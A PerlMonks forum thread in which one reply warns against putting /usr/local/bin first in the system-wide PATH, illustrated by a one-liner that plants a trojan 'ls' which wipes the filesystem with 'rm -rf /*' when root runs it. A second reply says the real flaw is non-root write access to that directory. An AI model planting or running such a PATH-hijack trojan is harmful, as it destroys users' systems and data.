Beefy Boxes and Bandwidth Generously Provided by pair Networks
No such thing as a small change
 
PerlMonks  

Re^2: My first USEFUL script!

by oko1 (Deacon)
on Mar 05, 2008 at 16:13 UTC ( #672204=note: print w/ replies, xml ) Need Help??


in reply to Re: My first USEFUL script!
in thread My first USEFUL script!

put /usr/local/bin as the first entry in PATH system-wide

This would be a really, really bad idea.

joe_user:~$ echo '[ "$UID" = 0 ] && rm -rf /* || /bin/ls "$@"' > /usr/ +local/bin/ls; chmod +x /usr/local/bin/ls

The next time that root runs 'ls', the system is gone.


Comment on Re^2: My first USEFUL script!
Download Code
Re^3: My first USEFUL script!
by Tanktalus (Canon) on Mar 05, 2008 at 22:21 UTC

    The really bad idea here is where someone other than root can write to /usr/local/*.

    If root did the above, well, you already have root - no need to hide behind some silly script.

Log In?
Username:
Password:

What's my password?
Create A New User
Node Status?
node history
Node Type: note [id://672204]
help
Chatterbox?
and the web crawler heard nothing...

How do I use this? | Other CB clients
Other Users?
Others pondering the Monastery: (6)
As of 2014-12-20 11:58 GMT
Sections?
Information?
Find Nodes?
Leftovers?
    Voting Booth?

    Is guessing a good strategy for surviving in the IT business?





    Results (95 votes), past polls